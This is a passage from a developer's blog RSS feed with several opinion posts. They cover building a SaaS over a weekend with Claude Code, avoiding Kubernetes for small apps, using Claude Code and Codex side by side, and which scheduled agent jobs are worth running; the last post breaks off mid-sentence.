]]></content:encoded></item><item><title>How to Build a SaaS with Claude Code in a Weekend (Not a Quarter)</title><link>https://lakshminp.com/2026/06/build-saas-with-claude-code/</link><pubDate>Mon, 15 Jun 2026 00:00:00 +0000</pubDate><author>Lakshmi Narasimhan</author><guid isPermaLink="true">https://lakshminp.com/2026/06/build-saas-with-claude-code/</guid><category>essays</category><category>claude-code</category><category>ai-coding</category><category>saas</category><description>I caught up with one of my mentees last weekend. Just talking shop. He&amp;rsquo;s a solid developer, he&amp;rsquo;s got the itch to build a side project, and he&amp;rsquo;s brand new to agentic coding. Somewhere in that conversation I realized I was reciting an entire playbook off the top of my head — so I&amp;rsquo;m writing it down. If you can write code and you&amp;rsquo;re staring at Claude Code wondering how to actually build and ship a SaaS with it, this is for you.</description><content:encoded>&lt;![CDATA[<p>I caught up with one of my mentees last weekend. Just talking shop. He&rsquo;s a solid developer, he&rsquo;s got the itch to build a side project, and he&rsquo;s brand new to agentic coding. Somewhere in that conversation I realized I was reciting an entire playbook off the top of my head — so I&rsquo;m writing it down. If you can write code and you&rsquo;re staring at Claude Code wondering how to actually build and ship a SaaS with it, this is for you.</p><p>A quick word on<em>why now</em>, before the<em>how</em>. Two reasons, and you&rsquo;ve heard at least one:</p><ol><li>AI is eating the jobs. You can&rsquo;t open your phone without someone reminding you. Enough said.</li><li>The AI subsidy is going to end. Right now you&rsquo;re building on frontier models that cost the labs more than they charge you. That window closes.<a href="/2026/03/ai-subsidy-window-developers/" class="lnp-link">I wrote about this here</a></li></ol><p>Maybe both happen. Either way the move is the same: build the muscle now, while it&rsquo;s cheap and you still have an edge.</p><h2 id="1-what-to-build">1. What to build</h2><p>Scratch your own itch. Do not spend three weeks &ldquo;researching the market&rdquo; to discover what people want. If you have a problem an app would fix, give yourself permission to build it. We&rsquo;ll worry about market size<em>after</em> it ships.</p><p>Market research used to be load-bearing because building was expensive and being wrong was catastrophic — months of work, real money, dead on arrival. That math is gone. You can ship an app over a weekend now. The cost of being wrong is one wasted Saturday.</p><p>Paul Graham makes the sharper version of this point: build what<em>you</em> want, because — as he writes in<a href="https://paulgraham.com/earn.html" rel="external nofollow noopener" class="lnp-link">How to Earn a Billion Dollars</a> — &ldquo;your own needs are uniquely valuable, because your needs predict future demand.&rdquo; You&rsquo;re not guessing what strangers want. You&rsquo;re scratching an itch you can actually feel.</p><p>I&rsquo;ve written about finding an idea and shipping it in a single sitting —<a href="/2026/01/claude-code-ship-one-session/" class="lnp-link">here</a>.</p><h2 id="2-know-where-youre-standing">2. Know where you&rsquo;re standing</h2><p>Be honest about your starting point: do you have real development experience, or do you need to ramp up first?<a href="/2025/10/ai-coding-prerequisites/" class="lnp-link">Here&rsquo;s what I&rsquo;d master before letting AI build for you</a></p><p>Yes, there are people on the internet shipping apps with zero coding background. Maybe. But if you can&rsquo;t read what Claude Code writes, you can&rsquo;t steer it — and you&rsquo;ll feel that the first time it confidently drives into a wall. You don&rsquo;t need a CS degree. You need enough of a mental model to call BS. The good news: you can learn development<em>from</em> Claude Code while you build<em>with</em> it. Learning and building at the same time is completely legitimate — it&rsquo;s how I pick up half the things I use.</p><h2 id="3-how-i-actually-build">3. How I actually build</h2><p>There&rsquo;s no one true way. This is what works for me; your mileage may vary.</p><p>First, the unglamorous part: get the Claude Code Max plan. The $100 tier, or the $200 one if you can swing it. You cannot build anything meaningful on the cheap plans, and you&rsquo;ll discover exactly why about four hours into your first real session. Don&rsquo;t flinch at the price — it&rsquo;s still cheaper than a tutor or a freelancer, and it doesn&rsquo;t take lunch breaks. Plus the quality is consistently good.</p><h3 id="why-claude-code-and-not-the-benchmark-topping-model-of-the-week">Why Claude Code and not [the benchmark-topping model of the week]?</h3><p>Because building a startup is already exhausting, and you do not have spare energy to spend benchmarking models and sharpening tools instead of shipping. Pick what works and stick with it.</p><p>Codex is a close second — genuinely good, and I keep it around. But Claude Code stays a step ahead for actually building apps, and after working with both, I reach for it first. Use both if you like. Just don&rsquo;t turn tool selection into the project.</p><h3 id="boring-choices-win">Boring choices win</h3><p>Freeze your stack early — backend, frontend, database. 80% of it is identical across every app you&rsquo;ll ever build, so stop re-deciding it every time. And don&rsquo;t obsess over scale and optimization. Those are problems you<em>earn</em> by being successful. Good problems. You don&rsquo;t have them yet.</p><h2 id="4-specs-and-context-engineering-the-part-that-decides-everything">4. Specs and context engineering: the part that decides everything</h2><p>Two things determine whether you get your money&rsquo;s worth out of Claude Code:</p><ol><li>The specification</li><li>Context engineering</li></ol><h3 id="the-spec">The spec</h3><p>The more specific you are, the better the output. &ldquo;Build a to-do app&rdquo; gets you slop. &ldquo;Here&rsquo;s the auth flow, here&rsquo;s the data model, here are the exact features&rdquo; gets you something you can use. Spend real time here, before a single line of code gets written.<a href="/2025/12/stop-making-claude-code-guess/" class="lnp-link">More on this</a></p><p>The move that works best: make Claude Code interview<em>you</em> about the spec. If you can&rsquo;t answer its questions, you can&rsquo;t articulate the feature — and if you can&rsquo;t articulate it, you can&rsquo;t build it. By the time the spec is done, the MVP should have zero grey areas.</p><h3 id="context-engineering">Context engineering</h3><p>Even the best frontier model starts coding like it&rsquo;s three drinks deep once the context fills up. So you manage it.</p><p>This takes me back to my assembly-language days — limited registers, limited memory, every instruction written with one eye on the resources you didn&rsquo;t have. LLM context is that same constraint in new clothes. You get roughly 200k tokens, and that&rsquo;s nowhere near enough to hold your whole app in its head at once.</p><p>So: one task per session. Two at the absolute most. Which means breaking the spec into session-sized tasks and tracking what&rsquo;s done, what&rsquo;s in flight, what&rsquo;s blocked, and what depends on what.</p><p>A markdown to-do file is a terrible way to do this and a worse use of your time. I use<strong>beads</strong>. Adopted it early, still on it. It&rsquo;s the fix for<a href="/2025/11/ai-agent-memory-persistence/" class="lnp-link">an agent that wakes up every morning with no memory of what you did yesterday</a>.</p><p>This practice is also a lot kinder for your token limits.</p><p>Two flavors:</p><ul><li>the original, by the author —<a href="https://github.com/gastownhall/beads" rel="external nofollow noopener" class="lnp-link">gastownhall/beads</a></li><li><strong>beads-rust</strong>, a simpler, more stable reimplementation of the spec in Rust —<a href="https://github.com/Dicklesworthstone/beads_rust" rel="external nofollow noopener" class="lnp-link">Dicklesworthstone/beads_rust</a></li></ul><p>Use either. I landed on beads-rust. Pick your poison.</p><p>You also need memory<em>across</em> sessions. You&rsquo;ll remember you fixed a bug two weeks ago; the model in today&rsquo;s session won&rsquo;t, and it&rsquo;ll cheerfully hand you a wrong answer when you ask &ldquo;did we already fix this?&rdquo; I use<strong>claude-mem</strong> for that —<a href="https://github.com/thedotmack/claude-mem" rel="external nofollow noopener" class="lnp-link">thedotmack/claude-mem</a>.</p><p>Point a Claude Code session at both repos and it&rsquo;ll install them for you. (Yes, these work with Codex too — but again: shipping or tuning? The clock is running.)</p><p>Remember that spec? Hand it to your beads skill and it breaks down into a clean task list. Ask Claude to pull the high-leverage beads and start there — never more than two in flight.</p><h3 id="your-claudemd-matters">Your CLAUDE.md matters</h3><p>Treat it as a compass, not a second spec. The practices that matter (write the tests first), how the app deploys, the handful of goals you&rsquo;re aiming at. Keep it light —<a href="/2026/04/claude-md-best-practices/" class="lnp-link">cramming a novel into CLAUDE.md is the fastest way to make Claude dumber</a>.</p><h3 id="one-more-tool">One more tool</h3><p><a href="https://github.com/sirmalloc/ccstatusline" rel="external nofollow noopener" class="lnp-link">ccstatusline</a>. Configure it to show your remaining context percentage. It&rsquo;s the fuel gauge that tells you whether to keep driving or pull over and start a fresh session.</p><p>Then it&rsquo;s rinse and repeat: feed beads to Claude, do the manual QA yourself, close the bead, next one. A few sessions in, a sliver of a working MVP starts to emerge. When you&rsquo;re happy with it, you ship.</p><h2 id="5-deploying-it-without-the-kubernetes-tax">5. Deploying it (without the Kubernetes tax)</h2><p>I was a Kubernetes guy for years. Deployed everything on it. I no longer recommend it for solo developers —<a href="/2025/12/kubernetes-indie-dev-alternative/" class="lnp-link">I explain why here</a>. It still has its place and time; your weekend project is neither.</p><p>Use<strong><a href="https://kamal-deploy.org" rel="external nofollow noopener" class="lnp-link">Kamal</a></strong> instead. Think of it as the compromise between Docker Compose and Kubernetes — Compose&rsquo;s simplicity, enough of Kubernetes&rsquo; robustness, none of the YAML despair.</p><p>I&rsquo;m also building<a href="https://vmkit.dev/" rel="external nofollow noopener" class="lnp-link">VMKit</a> to make this part disappear entirely — deploy without learning the nitty-gritty unless you want to.</p><p>Then there&rsquo;s the wiring you don&rsquo;t think about until it bites: monitoring and ops (I run mine through MCPs —<a href="/2026/01/30-dollar-saas-stack/" class="lnp-link">the $30 stack</a>), payments (Stripe; if you&rsquo;re in India, Dodo Payments), and distribution — marketing and positioning, which is a beast all its own. Each of these deserves its own post.</p><h2 id="tldr">TL;DR</h2><ul><li>Build for your own itch. Shipping is cheaper than market research now.</li><li>Get the Claude Code Max plan ($100, ideally $200). Don&rsquo;t tool-shop.</li><li>Spend your time on the spec — let Claude interview you until there are no grey areas.</li><li>Engineer your context: one task per session, tracked with beads, remembered with claude-mem.</li><li>Keep CLAUDE.md light. Watch your context gauge.</li><li>Deploy with Kamal, not Kubernetes. Wire payments and monitoring last.</li><li>The whole thing is a weekend, not a quarter.</li></ul>
]]></content:encoded></item><item><title>Your Cloud Bill Is A Tax On Someone Else's Resume</title><link>https://lakshminp.com/2026/04/cloud-bill-resume-tax/</link><pubDate>Fri, 24 Apr 2026 00:00:00 +0000</pubDate><author>Lakshmi Narasimhan</author><guid isPermaLink="true">https://lakshminp.com/2026/04/cloud-bill-resume-tax/</guid><category>essays</category><category>kubernetes</category><description>There’s an insurance company somewhere — real, working, profitable — with 100,000 monthly users and a peak concurrent load of about 5,000.
They spend high six figures a month on Kubernetes.
They employ twenty people to keep it running.
This story surfaced this week in the Hacker News thread on David Crawshaw’s cloud essay, and the comments section turned into a confessional. Engineer after engineer describing the same pattern: cluster adopted, cluster “optimized,” cloud spend doubled, incidents doubled, and somehow the only thing anyone can agree on is that they need to hire a platform engineer.</description><content:encoded>&lt;![CDATA[<p>There’s an insurance company somewhere — real, working, profitable — with 100,000 monthly users and a peak concurrent load of about 5,000.</p><p>They spend high six figures a month on Kubernetes.</p><p>They employ twenty people to keep it running.</p><p>This story surfaced this week in the Hacker News thread on David Crawshaw’s cloud essay, and the comments section turned into a confessional. Engineer after engineer describing the same pattern: cluster adopted, cluster “optimized,” cloud spend doubled, incidents doubled, and somehow the only thing anyone can agree on is that they need to hire a platform engineer.</p><p>You don’t. You never did. Your entire application would run on a laptop.</p><h2 id="the-incentive-nobody-likes-to-say-out-loud"><strong>The incentive nobody likes to say out loud</strong></h2><p>Here’s the quiet part: your DevOps team does not choose infrastructure based on what your application needs.</p><p>They choose it based on what their next job will pay for.</p><p>Kubernetes on a resume is worth more than Docker Compose on a resume. Terraform on a resume is worth more than “I SSH’d into the box.” Managed EKS on a resume is worth more than “I run a VM.” Every procurement decision in a modern engineering org is being made by someone who, at some level, is also writing the next page of their LinkedIn.</p><p>And management, god bless them, trusts the sales and marketing departments of Datadog and AWS and HashiCorp more than they trust their own engineers. So when someone internally says “we could do this on one server,” and someone externally sends a deck titled<em>Scaling Your Platform For The Future</em>, guess which one wins the meeting.</p><p>The decision was never technical. You just paid the technical price for it.</p><h2 id="kubernetes-is-not-the-villain-the-scale-is"><strong>Kubernetes is not the villain. The scale is.</strong></h2><p>Let’s be precise, because “Kubernetes” is doing a lot of work in this essay.</p><p>Full enterprise Kubernetes — managed control planes, service meshes, operators for everything, a dedicated platform team, Helm charts nested inside Helm charts like Russian dolls of YAML — that thing was built for Google’s problem. Multi-tenant, multi-region, thousands of services, teams that don’t talk to each other.</p><p>If your org does not look like that, you are wearing a costume.</p><p>K3s on a single VPS is not the same animal. Docker Compose on a single VPS is not the same animal. Kamal shipping containers to one Debian box is not the same animal. Those are orchestration for people who want one sane way to deploy a container, not a career in platform engineering.</p><p>The HN thread is full of<a href="https://lakshminp.com/p/kubernetes-indie-dev-alternative" class="lnp-link">engineers who moved from full K8s to one of these simpler setups</a>. The reports are boringly consistent: costs collapsed, incidents dropped, debugging became possible again. Nobody was shocked. Everyone had been waiting for permission to say it.</p><h2 id="the-solo-founders-version-of-this-trap"><strong>The solo founder’s version of this trap</strong></h2><p>You are not the insurance company. You do not have twenty people. You have you, and maybe a contractor, and a credit card that is getting nervous.</p><p>And yet — you will read the AWS Well-Architected Framework. You will follow a tutorial that starts with “first, let’s set up your VPC.” You will pay $80/month for a managed database to store 200 rows. You will provision a load balancer in front of one server. You will copy the shape of infrastructure you saw at your day job, because that shape felt legitimate, and you want to feel legitimate too.</p><p>This is how solo founders end up with a<a href="https://lakshminp.com/p/aws-is-overrated" class="lnp-link">$600/month AWS bill for an app that has six users</a>.</p><p>The shape of legitimacy is the trap. Nobody cares what your infrastructure looks like until you have customers, and once you have customers,<a href="https://lakshminp.com/p/30-dollar-saas-stack" class="lnp-link">“my app runs on one $12 VPS”</a> is a story people<em>love</em>. It’s the opposite of suspicious. It’s proof that the thing works.</p><h2 id="what-to-actually-do"><strong>What to actually do</strong></h2><ol><li><p><strong>One machine until you can’t.</strong> One VPS. One Postgres on that VPS. One reverse proxy. Docker Compose or Kamal to deploy. You are allowed to stop here for years.</p></li><li><p><strong>Scale vertically first.</strong> Hetzner will rent you a 48-core EPYC machine with 256 GB of RAM for €199/month. A mid-tier managed Kubernetes cluster on AWS starts at more than that before you’ve run a single pod. Most apps die from bad unit economics, not from running out of CPU.</p></li><li><p><strong>When you outgrow that — and you might not —<a href="https://lakshminp.com/p/when-diy-beats-managed-kubernetes" class="lnp-link">K3s on a few boxes gives you orchestration without the org chart</a>.</strong> This is the actual sweet spot for a solo operator who needs more than one machine but less than a platform team.</p></li><li><p><strong>Treat every infrastructure recommendation as a resume artifact until proven otherwise.</strong> Ask who benefits if you adopt this. If the answer is “the person telling me to adopt it,” weigh accordingly.</p></li><li><p><strong>Your cloud bill is a leading indicator of how much time you are spending on things that do not make your product better.</strong> Watch it like you watch your weight.</p></li></ol><p>The cloud was supposed to be leverage. For most people, most of the time, it has become the opposite: a recurring invoice for someone else’s credibility.</p><p>You are allowed to just run the server.</p>
]]></content:encoded></item><item><title>Claude Overreaches. Codex Underreaches. I'm Still Figuring Out How to Use Both.</title><link>https://lakshminp.com/2026/04/claude-vs-codex-use-both/</link><pubDate>Wed, 22 Apr 2026 00:00:00 +0000</pubDate><author>Lakshmi Narasimhan</author><guid isPermaLink="true">https://lakshminp.com/2026/04/claude-vs-codex-use-both/</guid><category>essays</category><category>claude-code</category><category>ai-coding</category><description>I was a one-agent guy until Claude had a run of outages.
On those days I didn’t ship less. I shipped nothing. I’d open my editor, remember Claude was down, stare at the codebase, close the editor. A single-vendor dependency masquerading as a workflow.
So I reluctantly installed Codex CLI. Poked at it. Resented it for a week. Then task by task — caught myself reaching for it on purpose, even when Claude was up.</description><content:encoded>&lt;![CDATA[<p>I was a one-agent guy until Claude had a run of outages.</p><p>On those days I didn’t ship less. I shipped<em>nothing</em>. I’d open my editor, remember Claude was down, stare at the codebase, close the editor. A single-vendor dependency masquerading as a workflow.</p><p>So I reluctantly installed Codex CLI. Poked at it. Resented it for a week. Then task by task — caught myself reaching for it on purpose, even when Claude was up.</p><p>I still don’t have the workflow figured out. What I do know is that “pick one” is the wrong frame, and the Reddit threads that get it right aren’t the ones with the most upvotes.</p><h1 id="the-one-sentence-that-explains-everything"><strong>The One Sentence That Explains Everything</strong></h1><p>From a 520-upvote r/ClaudeCode thread analyzing both tools’ open-source prompts:</p><blockquote><p><em>“Claude Code reads like a product trying to create initiative while Codex reads like a product trying to prevent drift.”</em><br>
— u/idkwhattochoosz</p></blockquote><p>And the pithier version, from the comments:</p><blockquote><p><em>“Claude is more willing to sin by overreaching. Codex is more willing to sin by underreaching.”</em><br>
— u/entheogenicentity</p></blockquote><p>Read those twice. That’s not a model-quality take. That’s a product-philosophy take. Two teams looked at the same question — what should an agent do when it doesn’t know what you meant? — and picked opposite defaults. One said “guess and move.” The other said “ask and wait.”</p><p>Claude Code’s system prompt pushes hard toward initiative:<em>“A good colleague faced with ambiguity doesn’t just stop — they investigate, reduce risk, and build understanding.”</em> Codex’s harness does the opposite: narrow the ambiguity, verify, don’t guess.</p><p>Every “Claude vs Codex” benchmark you’ve seen is scoring two products that were never competing on the same axis. It’s like benchmarking a kayak against a sedan because they both move you forward.</p><h1 id="my-honest-opinion-codexs-harness-is-better"><strong>My Honest Opinion: Codex’s Harness Is Better</strong></h1><p>This is going to get me yelled at in r/ClaudeCode, and that’s fine.</p><p>After several weeks running both, Codex’s harness feels more mature. Not the model — the harness. The scaffolding around the model. The way it handles ambiguity, scope, and completeness.</p><p>Three things Codex does that Claude Code still doesn’t:</p><p><strong>1. It doesn’t lie about completion.</strong> Claude will hand you a summary saying the work is done, tests pass, shipping-ready. Codex more often flags what it didn’t fix, what it wasn’t sure about, what it skipped. One r/ClaudeCode commenter put it better than I can:<em>“Claude will always claim all is done and ready, while Codex will flag it and say ‘no, there is this and this and this that still need to be fixed.’”</em></p><p><strong>2. It respects your instructions.</strong> Claude treats<a href="http://claude.md/" rel="external nofollow noopener" class="lnp-link">CLAUDE.md</a> as a helpful suggestion. Codex treats<a href="http://agents.md/" rel="external nofollow noopener" class="lnp-link">AGENTS.md</a> as a contract. If you tell Codex “don’t touch the migration files,” it doesn’t touch them. If you tell Claude the same thing, you’ll find a migration file edit in the diff and a cheerful note about how it improved schema consistency.</p><p><strong>3. The restraint scales better.</strong> Claude’s “volunteer more” bias is delightful at 30 minutes of work. It becomes a liability at 3 hours. Codex’s restraint is annoying in a small task and load-bearing in a long one.</p><p>None of this means Claude Code is bad. It means Claude Code is optimized for a different shape of work than I’m doing. The initiative bias is a great fit for exploration and greenfield work. For production changes to a real codebase, Codex’s paranoia is the right default.</p><p>Here’s the one that changed my mind. I built Supabyoi (managed self-hosted Supabase) with Claude Code. When the MVP felt feature-complete — Claude’s verdict, confidently delivered, complete with a tasteful little summary of everything that worked — I ran a second pass on Codex in a parallel directory (<code>~/supabyoi-codex</code>). Just to see.</p><p>Codex came back with a whole second project’s worth of findings. Not the usual “bugs Claude missed.” Bugs Claude had<em>confidently signed off on.</em> Shipping-ready, per Claude. Not shipping-ready, per Codex. Codex was right about every one of them.</p><p>That was the week I stopped treating Codex as the thing I installed during an outage and started treating it as a different kind of reviewer. Not better. Differently biased. A second pair of eyes is only useful if it’s not the same pair of eyes.</p><h1 id="why-you-should-actually-run-both"><strong>Why You Should Actually Run Both</strong></h1><p>The flip side — and this matters, because I don’t want this post read as “switch to Codex, you fool” — Claude’s initiative bias is a real asset. You just have to point it at the right phase of the work. The problem isn’t Claude. It’s that you’re using Claude for the part of the job Codex is better at, and vice versa.</p><p>Four reasons to dual-sub instead of picking:</p><p><strong>1. Hallucination diversity.</strong> This is the biggest one and almost nobody articulates it clearly. From u/campbellm on Reddit:</p><blockquote><p><em>“I’ve been doing ‘have claude write something, have codex review it, have claude consider and critique that review.’ It is VERY unlikely that both will hallucinate the same way.”</em></p></blockquote><p>Two models trained on different data with different RLHF signals don’t fail identically. When Claude writes confident-but-wrong code, Codex flags it. When Codex skips a subtle edge case, Claude’s “check adjacent concerns” bias picks it up. You get a natural adversarial review without hiring anyone.</p><p><strong>2. The planner-executor split.</strong> Use Claude for the part it’s good at — exploring a messy problem space, drafting a plan, proposing a dozen angles. Then hand the plan to Codex for implementation. u/ocombe on r/ClaudeCode:<em>“Run claude for the plan &amp; fast work, use codex for thorough plan &amp; code reviews.”</em> u/mrothro’s version:<em>“I use Claude Code for ideating and small implementation, then tell it to run Codex to do complex implementations and code reviews.”</em></p><p>The pattern is consistent across the threads: Claude’s strength is at the start (wide search, first drafts); Codex’s strength is at the end (narrow, verify, harden).</p><p><strong>3. Cross-harness rule enforcement.</strong> Rules one model ignores, the other enforces. If Claude drifts on a constraint you set, Codex catches it in review. If Codex is too literal and missed an obvious improvement, Claude’s adjacent-concerns bias surfaces it. Two different failure modes cancel each other out.</p><p><strong>4. Throughput.</strong> Both platforms throttle hard at the Max/Pro tier. When Claude hits limits on Friday morning, you switch to Codex and keep shipping. One r/ClaudeCode commenter reported pulling down from a Claude 20x plan to 5x, then adding a $100/mo Codex plan — roughly the same total cost, dramatically more runway. I’m not sure that math works for everyone, but the principle holds: one subscription is a single point of failure.</p><h1 id="agent-flywheel-is-the-tooling-signal"><strong>Agent-Flywheel Is the Tooling Signal</strong></h1><p>There’s a product called<a href="https://agent-flywheel.com/" rel="external nofollow noopener" class="lnp-link">agent-flywheel.com</a> that pre-configures Claude Code, Codex CLI, and Gemini on a fresh VPS. Total damage — VPS plus both Max/Pro subs — lands between 440and440<em>and</em>656 a month. That’s a car payment for a car that writes your code.</p><p>What I find interesting isn’t the tool. It’s the bet underneath it: a whole product assumes real developers want all three installed by default. Six months ago that would have read as overkill. Today it reads as table stakes.</p><p>The hype cycle hasn’t caught up yet. The mainstream take is still “pick your favorite,” as though these were ice cream flavors. The people actually shipping production code with agents have quietly moved to “run both. Sometimes three. And don’t make a big deal about it.”</p><p>I’m planning to deploy it — not on a greenfield project (everybody has a greenfield story), but on an existing one already shipping to real users. The interesting question isn’t whether a three-agent stack works on a clean slate. It’s what breaks when you wire it into a codebase with real uptime constraints, customers, and six months of decisions the tooling didn’t witness. Real-world battle stories from agent-flywheel setups are scarce. I want to write one.</p><h1 id="the-honest-part-i-dont-have-the-workflow-figured-out-yet"><strong>The Honest Part: I Don’t Have the Workflow Figured Out Yet</strong></h1><p>Everything above reads like I’ve got this nailed. I don’t. Here’s the list of things I still don’t know, offered in the spirit of not pretending:</p><p><strong>When exactly to hand off.</strong> I know Claude should plan and Codex should review. I don’t have a clean trigger. Sometimes I bounce mid-implementation because Claude is about to go off the rails. Sometimes I trust Claude to finish and Codex only sees the final diff. The “right” cadence isn’t obvious.</p><p><strong>How much context to share.</strong> Each agent wants the full<a href="http://claude.md/" rel="external nofollow noopener" class="lnp-link">CLAUDE.md</a> /<a href="http://agents.md/" rel="external nofollow noopener" class="lnp-link">AGENTS.md</a> treatment. Writing both, keeping them in sync, and remembering which one has which convention is its own small job. I haven’t found a clean answer.</p><p><strong>Whether the adversarial review actually catches bugs.</strong> It sounds great in theory. In practice, most of the time both agents agree the work is done, and the bugs I catch in review are ones I would have caught with one agent too. The hallucination-diversity argument may be overstated at the tasks most of us are actually doing.</p><p><strong>Whether the cost is worth it at my usage.</strong> I’m not running agents 40 hours a week. At $400+/month for the dual sub, I’m probably over-subscribed for my actual throughput. The math gets better if you’re coding all day. I’m not.</p><h1 id="who-should-dual-sub-who-shouldnt"><strong>Who Should Dual-Sub, Who Shouldn’t</strong></h1><p><strong>Do it</strong> if you’re a solo dev shipping production code daily. You’ll hit Friday-morning limits on one platform whether you budget for it or not, and the adversarial review actually catches things. The cost is real. The throughput gain is bigger. Do the math; it pencils.</p><p><strong>Don’t bother</strong> if you code a few hours a week. The switching tax and the subscription burn aren’t worth it at low volume. Pick one and move on. Claude if you want initiative. Codex if you want restraint. Nobody is grading you on this.</p><p><strong>It’s complicated</strong> if you’re at a day job where the company pays for one and you’ve got a side project. Use the company sub for the day job. Don’t stack a second personal sub unless the side project is actually shipping — not “actually going to ship next month,”<em>actually shipping, this week, to real users.</em> The number of people running dual subs to ship nothing is, I suspect, not small.</p><h1 id="what-this-is-really-about"><strong>What This Is Really About</strong></h1><p>The “ditch ChatGPT for Claude” narrative was a 2025 story. It was right for its moment. But the 2026 version of that story isn’t “ditch Claude for Codex.” It’s “stop treating this as a winner-take-all market.”</p><p>Different models have different biases baked into their harnesses. Claude overreaches. Codex underreaches. Gemini is still figuring out its personality. The right move isn’t to pick the bias you like. It’s to stack biases against each other so their failure modes cancel out.</p><p>I don’t have this workflow figured out. Neither does anyone else I’ve read on Reddit, honestly — the high-upvote posts are mostly single-tool takes, and the real insight is buried in the comments of threads with a few hundred upvotes.</p><p>But “only use one” is already wrong. That much is clear.</p>
]]></content:encoded></item><item><title>My Agent Runs 10 Cron Jobs. Three of Them Are Worth the Electricity.</title><link>https://lakshminp.com/2026/04/ai-agent-cron-jobs-worth-it/</link><pubDate>Mon, 20 Apr 2026 00:00:00 +0000</pubDate><author>Lakshmi Narasimhan</author><guid isPermaLink="true">https://lakshminp.com/2026/04/ai-agent-cron-jobs-worth-it/</guid><category>essays</category><category>kubernetes</category><category>ai-coding</category><description>I have a daemon that runs on a server. It’s been up for seven weeks. It has ten scheduled jobs — some hourly, some daily, some weekly. Or at least, that’s what’s on paper.
This is what people are calling “the future of work.”
I’m not sure it is. I’m sure it’s what sells on Twitter.
The demo economy Always-on agents photograph well. That’s most of what’s going on.
“My agent posted while I slept” is tweetable in a way that “I wrote a cron job” isn’t, even when the outputs are identical. The demo-industrial complex has figured this out. YouTubers build daemons. Framework authors build daemons. There are now three different subreddits comparing daemons. The flywheel is real, the content is prolific, and very little of it is honest about what the daemon is actually producing.</description><content:encoded>&lt;![CDATA[<p>I have a daemon that runs on a server. It’s been up for seven weeks. It has ten scheduled jobs — some hourly, some daily, some weekly. Or at least, that’s what’s on paper.</p><p>This is what people are calling “the future of work.”</p><p>I’m not sure it is. I’m sure it’s what sells on Twitter.</p><h1 id="the-demo-economy"><strong>The demo economy</strong></h1><p>Always-on agents photograph well. That’s most of what’s going on.</p><p>“My agent posted while I slept” is tweetable in a way that “I wrote a cron job” isn’t, even when the outputs are identical. The demo-industrial complex has figured this out. YouTubers build daemons. Framework authors build daemons. There are now three different subreddits comparing daemons. The flywheel is real, the content is prolific, and very little of it is honest about what the daemon is actually producing.</p><p>The hype bundles together several different things that deserve to be separated:</p><ol><li><p>Agents that<em>run work while you’re asleep</em> (useful, conditionally)</p></li><li><p>Agents that<em>react to things happening in the world</em> (useful, conditionally)</p></li><li><p>Agents that<em>capture things as they happen on your phone</em> (useful, conditionally)</p></li><li><p>Agents that<em>run heartbeats and ask themselves what to do</em> (pure performance art)</p></li><li><p>Agents that<em>self-evolve in a loop in the background</em> (fun demos, almost no output)</p></li><li><p>Agents that<em>spawn a hundred parallel subagents to research a topic</em> (almost always worse than one good search)</p></li></ol><p>The hype treats all six as the same thing. They aren’t.</p><h1 id="the-20-that-actually-earns-its-keep"><strong>The 20% that actually earns its keep</strong></h1><p>Honest list of when a background daemon does something a CLI or a 10-line bash cron can’t:</p><p><strong>Scheduled work that has to happen when you’re not there.</strong> Crawl competitor sites at 3am. Pull last night’s Sentry errors. Summarize overnight industry chatter into a 7am brief. Your laptop is off, something has to be running somewhere. Legitimate.</p><p><strong>Reactive triggers on external events.</strong></p><p>Email arrives -&gt; triage.</p><p>Substack comment -&gt; draft reply.</p><p>Sentry alert -&gt; diagnose + suggest fix.</p><p>The trigger comes from outside; compute has to meet it. Legitimate if the volume actually warrants automation (if you get three emails a day, triage is a solved problem — your inbox).</p><p><strong>On-the-move capture.</strong></p><p>Voice memo from your phone -&gt; transcribed -&gt; landed in memory.</p><p>Forwarding a link from your phone to your agent. The value is that capture happens when inspired, not when at desk. Real lift for content creators who have thoughts in elevators.</p><p><strong>Judgment-laden monitoring.</strong></p><p>Not “disk at 80%” — any shell script can do that.<em>“Disk at 80% AND growing 2% per hour AND that’s unusual for this host.”</em></p><p>Requires context; needs to know what normal looks like. This is where LLMs in a daemon genuinely beat a threshold-based alerting stack.</p><p>That’s it. Four categories. Anything else is mostly burning tokens.</p><h1 id="the-80-thats-noise"><strong>The 80% that’s noise</strong></h1><p><strong>Heartbeats that ask the agent “anything to do?”</strong></p><p>The agent wakes up, loads context, decides there isn’t anything to do, goes back to sleep. You pay for the loaded context every time. Over a day this adds up to real money for the privilege of watching an agent shrug.</p><p><strong>Self-evolution loops.</strong></p><p>“The agent improves itself while you sleep.” What it’s usually doing is refactoring its own prompts in circles. Cool demo on YouTube. Zero measurable outcome delta after a month of running.</p><p><strong>Parallel subagent fan-out for research.</strong></p><p>Ten agents search the web about the same question and return ten lightly-paraphrased versions of the same top three results. One focused 10-minute session beats this, almost always.</p><p><strong>“Long-running overnight research tasks.”</strong></p><p>When the output lands in your morning inbox, is it better than what 30 focused minutes at your desk would produce? Honestly check. Usually no.</p><p><strong>Replacing things you could cron in 10 lines of bash.</strong></p><p>The test: could a $5 VPS with a shell script + cron +<code>jq</code> do this? If yes, you’re not using AI for the part that needs AI. You’re using it because daemons are cool.</p><h1 id="receipts-whats-actually-on-my-vm"><strong>Receipts: what’s actually on my VM</strong></h1><p>I pulled the daemon’s state file and the log directory while writing this. Fifty-four days of uptime. Ten jobs on paper. The picture is worse than I thought.</p><p>Three are running reliably.</p><p><code>sentry-monitor</code> has fired 191 times since early March. Latest run: this morning. When the night throws errors it reads them, groups them, and suggests a fix — not a link to the stack trace, an actual “here’s what’s probably wrong and here’s the one-line change.” Category 2 plus category 4. Keep.</p><p><code>infra-health</code> has fired 190 times on basically the same cadence. Knows what normal looks like per host. Stays quiet when a disk spike is a scheduled backup and shouts when it isn’t. Category 4. The whole reason an LLM beats a thresholds-and-Prometheus stack here, and no, you cannot Grafana your way to this in under six months of tuning. Keep.</p><p><code>scout</code> has fired 71 times across seven weeks. Daily-ish. Scans Reddit, HN, and Substack for signal that feeds this blog’s content calendar. I<em>do</em> use the output. Category 2 if I’m generous. Keep — but it absorbs the next two jobs on the list below.</p><p>Now the uncomfortable part.</p><p>Three of the ten have straight-up stopped running and I didn’t notice.</p><p><code>morning-brief</code> was scheduled daily at 6am. It last fired on March 18. A full month of no overnight brief. I did not miss it. I did not investigate. I did not know.</p><p><code>seo-audit</code> was weekly. It has run exactly once in the daemon’s entire fifty-four-day lifetime, on March 1. Seven missed weeks. Nobody wrote a bug report to themselves. Nobody opened a file that wasn’t there.</p><p><code>auto-draft</code> was supposed to produce a draft post every day. It has run exactly once, on April 11. Eight days of silence. Also 